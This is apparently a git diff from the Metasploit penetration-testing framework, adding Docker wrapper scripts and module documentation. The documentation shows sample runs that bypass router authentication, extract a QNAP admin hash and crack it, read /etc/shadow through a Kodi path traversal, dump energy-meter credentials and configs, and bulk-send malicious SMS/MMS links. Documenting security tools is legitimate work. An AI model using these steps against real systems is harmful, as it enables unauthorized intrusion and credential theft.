`docker/docker-compose.development.override.yml` +to your `COMPOSE_FILE` environment variable. + +If you don't have a `COMPOSE_FILE` environment variable, you can set it up with this: + +```bash +echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.development.override.yml" >> .env +``` diff --git a/docker/bin/msfconsole b/docker/bin/msfconsole new file mode 100755 index 0000000000..f4c47eda48 --- /dev/null +++ b/docker/bin/msfconsole @@ -0,0 +1,21 @@ +#! /bin/bash + +if [[ -z "$MSF_PATH" ]]; then + path=`dirname $0` + + # check for ./docker/msfconsole.rc + if [[ ! -f $path/../msfconsole.rc ]] ; then + + # we are not inside the project + realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;} + + # determine script path + pushd $(dirname $(realpath $0)) > /dev/null + path=$(pwd) + popd > /dev/null + fi + MSF_PATH=$(dirname $(dirname $path)) +fi + +cd $MSF_PATH +docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$@" diff --git a/docker/bin/msfvenom b/docker/bin/msfvenom new file mode 100755 index 0000000000..2b12210b4f --- /dev/null +++ b/docker/bin/msfvenom @@ -0,0 +1,21 @@ +#! /bin/bash + +if [[ -z "$MSF_PATH" ]]; then + path=`dirname $0` + + # check for ./docker/msfconsole.rc + if [[ ! -f $path/../msfconsole.rc ]] ; then + + # we are not inside the project + realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;} + + # determine script path + pushd $(dirname $(realpath $0)) > /dev/null + path=$(pwd) + popd > /dev/null + fi + MSF_PATH=$(dirname $(dirname $path)) +fi + +cd $MSF_PATH +docker-compose run --rm --service-ports ms ./msfvenom "$@" diff --git a/docker/docker-compose.development.override.yml b/docker/docker-compose.development.override.yml new file mode 100644 index 0000000000..84157606af --- /dev/null +++ b/docker/docker-compose.development.override.yml @@ -0,0 +1,9 @@ +version: '2' + +services: + ms: &ms + environment: + DATABASE_URL: postgres://postgres@db:5432/msf_dev + + volumes: + - .:/usr/src/app diff --git a/docker/msfconsole.rc b/docker/msfconsole.rc new file mode 100644 index 0000000000..089ec84b30 --- /dev/null +++ b/docker/msfconsole.rc @@ -0,0 +1,5 @@ + +run_single("setg LHOST #{ENV['LHOST']}") if ENV['LHOST'] +run_single("setg LPORT #{ENV['LPORT']}") if ENV['LPORT'] +run_single("db_connect #{ENV['DATABASE_URL'].gsub('postrgres://', '')}") if ENV['DATABASE_URL'] + diff --git a/documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md b/documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md index 6594b0b0a7..b52fa70223 100644 --- a/documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md +++ b/documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md @@ -1,4 +1,4 @@ -This module plays (by default) [https://www.youtube.com/watch?v=kxopViU98Xo]("Epic sax guy 10 hours") on a target Google Chromecast via YouTube. +This module plays (by default) ["Epic sax guy 10 hours"](https://www.youtube.com/watch?v=kxopViU98Xo) on a target Google Chromecast via YouTube. Naturally, audio should be cranked to 11 before running this module. @@ -12,7 +12,7 @@ Naturally, audio should be cranked to 11 before running this module. **VID** - The YouTube video to be played. Defaults to [https://www.youtube.com/watch?v=kxopViU98Xo](kxopViU98Xo) + The YouTube video to be played. Defaults to [kxopViU98Xo](https://www.youtube.com/watch?v=kxopViU98Xo) ## Sample Output diff --git a/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md b/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md new file mode 100644 index 0000000000..035ac29006 --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md @@ -0,0 +1,121 @@ +## Vulnerable devices + +The following devices and firmware versions are known to be vulnerable: + + * Azmoon AZ-D140W - 2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1 + * Billion BiPAC 5102S - Av2.7.0.23 (UE0.B1C) + * Billion BiPAC 5102S - Bv2.7.0.23 (UE0.B1C) + * Billion BiPAC 5200 - 2.11.84.0(UE2.C2)3.11.11.6 + * Billion BiPAC 5200 - 2_11_62_2_ UE0.C2D_3_10_16_0 + * Billion BiPAC 5200A - 2_10_5 _0(RE0.C2)3_6_0_0 + * Billion BiPAC 5200A - 2_11_38_0 (RE0.C29)3_10_5_0 + * Billion BiPAC 5200GR4 - 2.11.91.0(RE2.C29)3.11.11.52 + * Billion BiPAC 5200SRD - 2.10.5.0 (UE0.C2C) 3.6.0.0 + * Billion BiPAC 5200SRD - 2.12.17.0_UE2.C3_3.12.17.0 + * Billion BiPAC 5200SRD - 2_11_62_2(UE0.C3D)3_11_11_22 + * D-Link DSL-2520U - Z1 1.08 DSL-2520U_RT63261_Middle_East_ADSL + * D-Link DSL-2600U - Z1_DSL-2600U + * D-Link DSL-2600U - Z2_V1.08_ras + * TP-Link TD-8616 - V2_080513 + * TP-Link TD-8816 - V4_100528_Russia + * TP-Link TD-8816 - V4_100524 + * TP-Link TD-8816 - V5_100528_Russia + * TP-Link TD-8816 - V5_100524 + * TP-Link TD-8816 - V5_100903 + * TP-Link TD-8816 - V6_100907 + * TP-Link TD-8816 - V7_111103 + * TP-Link TD-8816 - V7_130204 + * TP-Link TD-8817 - V5_100524 + * TP-Link TD-8817 - V5_100702_TR + * TP-Link TD-8817 - V5_100903 + * TP-Link TD-8817 - V6_100907 + * TP-Link TD-8817 - V6_101221 + * TP-Link TD-8817 - V7_110826 + * TP-Link TD-8817 - V7_130217 + * TP-Link TD-8817 - V7_120509 + * TP-Link TD-8817 - V8_140311 + * TP-Link TD-8820 - V3_091223 + * TP-Link TD-8840T - V1_080520 + * TP-Link TD-8840T - V2_100525 + * TP-Link TD-8840T - V2_100702_TR + * TP-Link TD-8840T - V2_090609 + * TP-Link TD-8840T - V3_101208 + * TP-Link TD-8840T - V3_110221 + * TP-Link TD-8840T - V3_120531 + * TP-Link TD-W8101G - V1_090107 + * TP-Link TD-W8101G - V1_090107 + * TP-Link TD-W8101G - V2_100819 + * TP-Link TD-W8101G - V2_101015_TR + * TP-Link TD-W8101G - V2_101101 + * TP-Link TD-W8101G - V3_110119 + * TP-Link TD-W8101G - V3_120213 + * TP-Link TD-W8101G - V3_120604 + * TP-Link TD-W8151N - V3_120530 + * TP-Link TD-W8901G - V1_080522 + * TP-Link TD-W8901G - V1,2_080522 + * TP-Link TD-W8901G - V2_090113_Turkish + * TP-Link TD-W8901G - V3_140512 + * TP-Link TD-W8901G - V3_100603 + * TP-Link TD-W8901G - V3_100702_TR + * TP-Link TD-W8901G - V3_100901 + * TP-Link TD-W8901G - V6_110119 + * TP-Link TD-W8901G - V6_110915 + * TP-Link TD-W8901G - V6_120418 + * TP-Link TD-W8901G - V6_120213 + * TP-Link TD-W8901GB - V3_100727 + * TP-Link TD-W8901GB - V3_100820 + * TP-Link TD-W8901N - V1_111211 + * TP-Link TD-W8951ND - V1_101124,100723,100728 + * TP-Link TD-W8951ND - V1_110907 + * TP-Link TD-W8951ND - V1_111125 + * TP-Link TD-W8951ND - V3.0_110729_FI + * TP-Link TD-W8951ND - V3_110721 + * TP-Link TD-W8951ND - V3_20110729_FI + * TP-Link TD-W8951ND - V4_120511 + * TP-Link TD-W8951ND - V4_120607 + * TP-Link TD-W8951ND - V4_120912_FL + * TP-Link TD-W8961NB - V1_110107 + * TP-Link TD-W8961NB - V1_110519 + * TP-Link TD-W8961NB - V2_120319 + * TP-Link TD-W8961NB - V2_120823 + * TP-Link TD-W8961ND - V1_100722,101122 + * TP-Link TD-W8961ND - V1_101022_TR + * TP-Link TD-W8961ND - V1_111125 + * TP-Link TD-W8961ND - V2_120427 + * TP-Link TD-W8961ND - V2_120710_UK + * TP-Link TD-W8961ND - V2_120723_FI + * TP-Link TD-W8961ND - V3_120524,120808 + * TP-Link TD-W8961ND - V3_120830 + * ZyXEL P-660R-T3 - 3.40(BOQ.0)C0 + * ZyXEL P-660RU-T3 - 3.40(BJR.0)C0 + +## Module usage + + This is an example run against TP-Link TD-8817 router: + +``` +msf > use auxiliary/admin/http/allegro_rompager_auth_bypass +msf auxiliary(allegro_rompager_auth_bypass) > show options + +Module options (auxiliary/admin/http/allegro_rompager_auth_bypass): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST 192.168.1.1 yes The target address + RPORT 80 yes The target port + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes URI to test + VHOST no HTTP server virtual host + + +msf auxiliary(allegro_rompager_auth_bypass) > set rhost 192.168.1.1 +rhost => 192.168.1.1 +msf auxiliary(allegro_rompager_auth_bypass) > run + +[+] Detected device:TP-Link TD-8817 +[-] Bad response +[-] Bad response +[+] Good response, please check host, authentication should be disabled +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/admin/http/netgear_soap_password_extractor.md b/documentation/modules/auxiliary/admin/http/netgear_soap_password_extractor.md index d0dbc3cce8..20faf301f6 100644 --- a/documentation/modules/auxiliary/admin/http/netgear_soap_password_extractor.md +++ b/documentation/modules/auxiliary/admin/http/netgear_soap_password_extractor.md @@ -1,17 +1,18 @@ ## Vulnerable Application The following list is a non-exhaustive list of vulnerable Netgear devices: -1. R6300v2 < [1.0.3.28](http://kb.netgear.com/app/answers/detail/a_id/28372) -2. WNDR3300 - V1.0.45 (current, confirmed vuln) -3. WNDR3700v1 - 1.0.7.98, 1.0.16.98 (confirmed vuln) -4. WNDR3700v2 - 1.0.1.14 (EOL, confirmed vuln) -5. WNDR3700v4 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28355) -6. WNDR3800 - 1.0.0.48 (EOL, confirmed vuln) -7. WNDR4300 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28037) -8. WNR1000v2 - 1.0.1.1, 1.1.2.58 (EOL, confirmed vuln) -9. WNR2000v3 < [1.1.2.12](http://kb.netgear.com/app/answers/detail/a_id/30024) -10. WNR2200 < [1.0.1.96](http://kb.netgear.com/app/answers/detail/a_id/28036) -11. WNR2500 < [1.0.0.32](http://kb.netgear.com/app/answers/detail/a_id/28351) + + 1. R6300v2 < [1.0.3.28](http://kb.netgear.com/app/answers/detail/a_id/28372) + 2. WNDR3300 - V1.0.45 (current, confirmed vuln) + 3. WNDR3700v1 - 1.0.7.98, 1.0.16.98 (confirmed vuln) + 4. WNDR3700v2 - 1.0.1.14 (EOL, confirmed vuln) + 5. WNDR3700v4 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28355) + 6. WNDR3800 - 1.0.0.48 (EOL, confirmed vuln) + 7. WNDR4300 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28037) + 8. WNR1000v2 - 1.0.1.1, 1.1.2.58 (EOL, confirmed vuln) + 9. WNR2000v3 < [1.1.2.12](http://kb.netgear.com/app/answers/detail/a_id/30024) + 10. WNR2200 < [1.0.1.96](http://kb.netgear.com/app/answers/detail/a_id/28036) + 11. WNR2500 < [1.0.0.32](http://kb.netgear.com/app/answers/detail/a_id/28351) ## Verification Steps diff --git a/documentation/modules/auxiliary/client/mms/send_mms.md b/documentation/modules/auxiliary/client/mms/send_mms.md new file mode 100644 index 0000000000..f675585dd1 --- /dev/null +++ b/documentation/modules/auxiliary/client/mms/send_mms.md @@ -0,0 +1,150 @@ +The ```auxiliary/client/mms/send_mms``` module allows you to send a malicious attachment to a +collection of phone numbers of the same carrier. + +In order to use this module, you must set up your own SMTP server to deliver messages. Popular +mail services such as Gmail, Yahoo, Live should work fine. + +## Module Options + +**CELLNUMBERS** + +The 10-digit phone number (or numbers) you want to send the MMS text to. If you wish to target +against multiple phone numbers, ideally you want to create the list in a text file (one number per +line), and then load the CELLNUMBERS option like this: + +``` +set CELLNUMBERS file:///tmp/att_phone_numbers.txt +``` + +Remember that these phone numbers must be the same carrier. + +**MMSCARRIER** + +The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about +supported carriers. + +**TEXTMESSAGE** + +The text message you want to send. For example, this will send a text with a link to google: + +``` +set TEXTMESSAGE "Hi, please go: google.com" +``` + +The link should automatically be parsed on the phone and clickable. + +**MMSFILE** + +The attachment to send in the message. + +**MMSFILECTYPE** + +The content type to use for the attachment. Commonly supported ones include: + +* audio/midi +* image/jpeg +* image/gif +* image/png +* video/mp4 + +To find more, please try this [list](http://www.freeformatter.com/mime-types-list.html) + +**SMTPADDRESS** + +The mail server address you wish to use to send the MMS messages. + +**SMTPPORT** + +The mail server port. By default, this is ```25```. + +**SMTPUSERNAME** + +The username you use to log into the SMTP server. + +**SMTPPASSWORD** + +The password you use to log into the SMTP server. + +**SMTPFROM** + +The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. Some carriers require this +in order to receive the text, such as AT&T. + +**MMSSUBJECT** + +The MMS subject. Some carriers require this in order to receive the text, such as AT&T. + +## Supported Carrier Gateways + +The module supports the following carriers: + +* AT&T +* Sprint +* T-Mobile +* Verizon +* Google Fi + +## Finding the Carrier for a Phone Number + +Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out +how to identify the carrier of a phone number. There are many services that can do this, such as: + +http://freecarrierlookup.com/ + +## Gmail SMTP Example + +Gmail is a popular mail server, so we will use this as a demonstration. + +Assuming you are already using two-factor authentication, you need to create an [application password](https://support.google.com/accounts/answer/185833?hl=en). + +After creating the application password, configure auxiliary/client/mms/send_mms this way: + +* ```set cellnumbers [PHONE NUMBER]``` +* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]``` +* ```set textmessage "[TEXT MESSAGE]"``` +* ```set smtpaddress smtp.gmail.com``` +* ```set smtpport 587``` +* ```set mmsfile /tmp/example.mp4``` +* ```set mmsfilectype video/mp4``` +* ```set smtpusername [USERNAME FOR GMAIL]``` (you don't need ```@gmail.com``` at the end) +* ```set smtppassword [APPLICATION PASSWORD]``` + +And you should be ready to go. + +## Yahoo SMTP Example + +Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail), +so we will demonstrate as well. + +Before using the module, you must do this to your Yahoo account: + +1. Sign in to Yahoo Mail. +2. [Go to your "Account security" settings.](https://login.yahoo.com/account/security#less-secure-apps) +3. Turn on Allow apps that use less secure sign in. + +After configuring your Yahoo account, configure auxiliary/client/mms/send_mms this way: + +* ```set cellnumbers [PHONE NUMBER]``` +* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]``` +* ```set textmessage "[TEXT MESSAGE]"``` +* ```set smtpaddress smtp.mail.yahoo.com``` +* ```set smtpport 25``` +* ```set mmsfile /tmp/example.mp4``` +* ```set mmsfilectype video/mp4``` +* ```set smtpusername [USERNAME FOR YAHOO]@yahoo.com``` +* ```set smtppassword [YAHOO LOGIN PASSWORD]``` + +And you're good to go. + +## Demonstration + +After setting up your mail server and the module, your output should look similar to this: + +``` +msf auxiliary(send_mms) > run + +[*] Sending mms message to 1 number(s)... +[*] Done. +[*] Auxiliary module execution completed +msf auxiliary(send_mms) > +``` diff --git a/documentation/modules/auxiliary/client/sms/send_text.md b/documentation/modules/auxiliary/client/sms/send_text.md new file mode 100644 index 0000000000..dcdd5e419b --- /dev/null +++ b/documentation/modules/auxiliary/client/sms/send_text.md @@ -0,0 +1,132 @@ +The ```auxiliary/client/sms/send_text``` module allows you to send a malicious text/link to a collection +of phone numbers of the same carrier. + +In order to use this module, you must set up your own SMTP server to deliver messages. Popular +mail services such as Gmail, Yahoo, Live should work fine. + +## Module Options + +**CELLNUMBERS** + +The 10-digit phone number (or numbers) you want to send the text to. If you wish to target against +multiple phone numbers, ideally you want to create the list in a text file (one number per line), +and then load the CELLNUMBERS option like this: + +``` +set CELLNUMBERS file:///tmp/att_phone_numbers.txt +``` + +Remember that these phone numbers must be the same carrier. + +**SMSCARRIER** + +The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about +supported carriers. + +**SMSMESSAGE** + +The text message you want to send. For example, this will send a text with a link to google: + +``` +set SMSMESSAGE "Hi, please go: google.com" +``` + +The link should automatically be parsed on the phone and clickable. + +**SMTPADDRESS** + +The mail server address you wish to use to send the text messages. + +**SMTPPORT** + +The mail server port. By default, this is ```25```. + +**SMTPUSERNAME** + +The username you use to log into the SMTP server. + +**SMTPPASSWORD** + +The password you use to log into the SMTP server. + +**SMTPFROM** + +The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. + +## Supported Carrier Gateways + +The module supports the following carriers: + +* AllTel +* AT&T Wireless +* Boost Mobile +* Cricket Wireless +* Google Fi +* T-Mobile +* Verizon +* Virgin Mobile + +**Note:** During development, we could not find a valid gateway for Sprint, therefore it is currently +not supported. + +## Finding the Carrier for a Phone Number + +Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out +how to identify the carrier of a phone number. There are many services that can do this, such as: + +http://freecarrierlookup.com/ + +**Note:** If the phone is using Google Fi, then it may appear as a different carrier. + +## Gmail SMTP Example + +Gmail is a popular mail server, so we will use this as a demonstration. + +Assuming you are already using two-factor authentication, you need to create an [application password](https://support.google.com/accounts/answer/185833?hl=en). + +After creating the application password, configure auxiliary/client/sms/send_text this way: + +* ```set cellnumbers [PHONE NUMBER]``` +* ```set smscarrier [CHOOSE A SUPPORTED CARRIER]``` +* ```set smsmessage "[TEXT MESSAGE]"``` +* ```set smtpaddress smtp.gmail.com``` +* ```set smtpport 587``` +* ```set smtpusername [USERNAME FOR GMAIL]``` (you don't need ```@gmail.com``` at the end) +* ```set smtppassword [APPLICATION PASSWORD]``` + +And you should be ready to go. + +## Yahoo SMTP Example + +Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail), +so we will demonstrate as well. + +Before using the module, you must do this to your Yahoo account: + +1. Sign in to Yahoo Mail. +2. [Go to your "Account security" settings.](https://login.yahoo.com/account/security#less-secure-apps) +3. Turn on Allow apps that use less secure sign in. + +After configuring your Yahoo account, configure auxiliary/client/sms/send_text this way: + +* ```set cellnumbers [PHONE NUMBER]``` +* ```set smscarrier [CHOOSE A SUPPORTED CARRIER]``` +* ```set smsmessage "[TEXT MESSAGE]"``` +* ```set smtpaddress smtp.mail.yahoo.com``` +* ```set smtpport 25``` +* ```set smtpusername [USERNAME FOR YAHOO]@yahoo.com``` +* ```set smtppassword [YAHOO LOGIN PASSWORD]``` + +And you're good to go. + +## Demonstration + +After setting up your mail server and the module, your output should look similar to this: + +``` +msf auxiliary(send_text) > run + +[*] Sending text (16 bytes) to 1 number(s)... +[*] Done. +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/gather/qnap_backtrace_admin_hash.md b/documentation/modules/auxiliary/gather/qnap_backtrace_admin_hash.md new file mode 100644 index 0000000000..5f98ecc69d --- /dev/null +++ b/documentation/modules/auxiliary/gather/qnap_backtrace_admin_hash.md @@ -0,0 +1,78 @@ +## Intro + +This is going to be a quick rundown of how to use this module to +retrieve the admin hash from a vulnerable QNAP device. + +The defaults I've set should be adequate for blind exploitation, but you +may need to tweak them for your target. + +## Options + +**OFFSET_START** + +You want to set this to a value where you can see a backtrace. Set this +lower if you're not sure. Default is 2000. + +**OFFSET_END** + +Set this option to a value where you don't see a backtrace. Set this +higher if you're not sure. Default is 5000. + +**RETRIES** + +Sometimes the attack won't be successful on the first run. This option +controls how many times to retry the attack. Default is 10. + +**VERBOSE** + +This will tell you how long the binary search took and how many requests +were sent during exploitation. Default is false. + +## Usage + +Let's run through a successful exploitation. I've tailored the options +to my target. Your target may differ. + +``` +msf > use auxiliary/gather/qnap_backtrace_admin_hash +msf auxiliary(qnap_backtrace_admin_hash) > set rhost [redacted] +rhost => [redacted] +msf auxiliary(qnap_backtrace_admin_hash) > set offset_end 3000 +offset_end => 3000 +msf auxiliary(qnap_backtrace_admin_hash) > set verbose true +verbose => true +msf auxiliary(qnap_backtrace_admin_hash) > run + +[*] QNAP [redacted] detected +[*] Binary search of 2000-3000 completed in 5.02417s +[*] Admin hash found at 0x8068646 with offset 2920 +[+] Hopefully this is your hash: $1$$vnSTnHkIF96nN6kxQkZrf. +[*] 11 HTTP requests were sent during module run +[*] Auxiliary module execution completed +msf auxiliary(qnap_backtrace_admin_hash) > +``` + +We got lucky on this run. Sometimes it takes a couple retries to get the +hash. Now what do we do with it... + +``` +wvu@kharak:~$ john --wordlist --rules --format=md5crypt shadow +Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 SSSE3 20x]) +Press 'q' or Ctrl-C to abort, almost any other key for status +hunter2 (admin) +1g 0:00:00:01 DONE (2017-03-15 04:41) 0.8928g/s 24839p/s 24839c/s +24839C/s flipper2..mercury2 +Use the "--show" option to display all of the cracked passwords reliably +Session completed +wvu@kharak:~$ +``` + +Cracked! Now you can log in to the device. Shells await! + +## Addendum + +I used this `curl` command to test for offsets: + +``` +curl -kv "https://[redacted]/cgi-bin/cgi.cgi?u=admin&p=$(perl -e 'print "A"x2000' | base64 -w 0)" +``` diff --git a/documentation/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.md b/documentation/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.md new file mode 100644 index 0000000000..8899e1a7df --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.md @@ -0,0 +1,27 @@ +This module exploits a directory traversal vulnerability in Easy File Sharing FTP Server 3.6, or +prior. It abuses the RETR command in FTP in order to retrieve a file outside the shared directory. + +By default, anonymous access is allowed by the FTP server. + +## Vulnerable Application + +Easy File Sharing FTP Server version 3.6 or prior should be affected. You can download the +vulnerable application from the official website: + +http://www.efssoft.com/efsfs.exe + +## Options + +Since the FTP server allows anonymous access, by default, you only need to configure: + +**RHOSTS** + +The FTP server IP address. + +**PATH** + +The file you wish to download. Assume this path starts from C:\ + +## Demonstration + +![ftp](https://cloud.githubusercontent.com/assets/1170914/23971054/4fdc2b08-099a-11e7-88ea-67a678628e49.gif) diff --git a/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md b/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md new file mode 100644 index 0000000000..cdfc0f1acb --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md @@ -0,0 +1,33 @@ +This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer management login portal(s), and attempts to identify valid credentials. There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. In addition to device config, 'root' user can also access password file. Other users - admin, alg, user - can only access configuration file. The module attempts to download configuration and password files depending on the login user credentials found. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/http/binom3_login_config_pass_dump``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: ```run``` + +## Sample Output + + ``` +msf > use auxiliary/scanner/http/binom3_login_config_pass_dump +msf auxiliary(binom3_login_config_pass_dump) > set rhosts 1.3.3.7 +msf auxiliary(binom3_login_config_pass_dump) > run + +[+] 1.3.3.7:80 - Binom3 confirmed... +[*] 1.3.3.7:80 - Trying username:"root" with password:"root" +[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "root":"root" +[+] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7 - dumping configuration +[+] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7:80 - File retrieved successfully! +[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_Binom3_config_165927.txt +[+] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7 - dumping password file +[+] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7:80 - File retrieved successfully! +[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000004_moduletest_1.3.3.7_Binom3_passw_010954.txt +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + + ``` diff --git a/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md new file mode 100644 index 0000000000..357b0fb84d --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md @@ -0,0 +1,36 @@ +This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. + +The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. + +Vulnerable firmware versions include: + +VMU-C EM prior to firmware Version A11_U05 +VMU-C PV prior to firmware Version A17. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/http/gavazzi_em_login_loot``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: ```run``` + +## Sample Output + + ``` +msf > use auxiliary/scanner/http/gavazzi_em_login_loot +msf auxiliary(gavazzi_em_login_loot) > set rhosts 1.3.3.7 +msf auxiliary(gavazzi_em_login_loot) > set rport 80 +msf auxiliary(gavazzi_em_login_loot) > run + +[+] 1.3.3.7:80 - [1/1] - Running Carlo Gavazzi VMU-C Web Management portal... +[*] 1.3.3.7:80 - [1/1] - Trying username:"admin" with password:"admin" +[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "admin":"admin" +[+] 1.3.3.7:80 - Firmware version A8_U03... +[+] 1.3.3.7:80 - SMTP server: "", SMTP username: "", SMTP password: "" +[*] 1.3.3.7:80 - dumping EWplant.db +[+] 1.3.3.7:80 - EWplant.db retrieved successfully! +[+] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_501578.db +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + + ``` diff --git a/documentation/modules/auxiliary/scanner/http/kodi_traversal.md b/documentation/modules/auxiliary/scanner/http/kodi_traversal.md new file mode 100644 index 0000000000..8280ebefeb --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/kodi_traversal.md @@ -0,0 +1,41 @@ +## Vulnerable Application + +This module exploits an arbitrary file disclosure vulnerability in Kodi before 17.1. + +**Vulnerable Application Installation Steps** + +Grab whatever image from [libreelec](https://libreelec.tv/downloads/) if +you're lazy, like the [one for the Rpi2](http://releases.libreelec.tv/LibreELEC-RPi2.arm-7.0.3.img.gz), +or [install kodi from scratch](http://kodi.wiki/view/HOW-TO:Install_Kodi_for_Linux). + +You'll need a version lower than 17.1 of Kodi. + +## Verification Steps + +A successful run of the exploit will look like this: + +``` +msf > use auxiliary/scanner/http/kodi_traversal +msf auxiliary(kodi_traversal) > set RPORT 8080 +RPORT => 8080 +msf auxiliary(kodi_traversal) > set RHOSTS 192.168.0.31 +RHOSTS => 192.168.0.31 +msf auxiliary(kodi_traversal) > set FILE /etc/shadow +FILE => /etc/shadow +msf auxiliary(kodi_traversal) > run + +[*] Reading '/etc/shadow' +[+] /etc/shadow stored as '/home/jvoisin/.msf4/loot/20170219214657_default_192.168.0.31_kodi_114009.bin' +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(kodi_traversal) > cat /home/jvoisin/.msf4/loot/20170219214657_default_192.168.0.31_kodi_114009.bin +[*] exec: cat /home/jvoisin/.msf4/loot/20170219214657_default_192.168.0.31_kodi_114009.bin + +systemd-network:*::::::: +root:$6$ktSJvEl/p.r7nsR6$.EZhW6/TPiY.7qz.ymYSreJtHcufASE4ykx7osCfBlDXiEKqXoxltsX5fE0mY.494pJOKyuM50QfpLpNKvAPC.::::::: +nobody:*::::::: +dbus:*::::::: +system:*::::::: +sshd:*::::::: +avahi:*::::::: +``` diff --git a/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md b/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md new file mode 100644 index 0000000000..a1eba6a6c9 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md @@ -0,0 +1,24 @@ +Meteocontrol WEB'Log Data Loggers are affected with an authentication bypass vulnerability. The module exploits this vulnerability to remotely extract Administrator password for the device management portal. + +Note: In some versions, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Manual verification will be required in such cases. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/http/meteocontrol_weblog_extractadmin``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: ```run``` + +## Sample Output + + ``` +msf > use auxiliary/scanner/http/meteocontrol_weblog_extractadmin +msf auxiliary(meteocontrol_weblog_extractadmin) > set rhosts 1.2.3.4 +msf auxiliary(meteocontrol_weblog_extractadmin) > run + +[+] 1.2.3.4:8080 - Running Meteocontrol WEBlog management portal... +[*] 1.2.3.4:8080 - Attempting to extract Administrator password... +[+] 1.2.3.4:8080 - Password is password +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + ``` diff --git a/documentation/modules/auxiliary/scanner/http/wordpress_content_injection.md b/documentation/modules/auxiliary/scanner/http/wordpress_content_injection.md new file mode 100644 index 0000000000..a1dad453ec --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/wordpress_content_injection.md @@ -0,0 +1,45 @@ +**Feature description:** + +This adds a module for the WordPress [4.7](https://wordpress.org/wordpress-4.7.tar.gz)/[4.7.1](https://wordpress.org/wordpress-4.7.1.tar.gz) +content injection vulnerability detailed at +https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html. + +**Verification steps:** + +- [ ] Download https://wordpress.org/wordpress-4.7.1.tar.gz +- [ ] `tar xf wordpress-4.7.1.tar.gz -C /var/www/html --no-same-owner` +- [ ] Prevent auto-update with either: + 1. [ 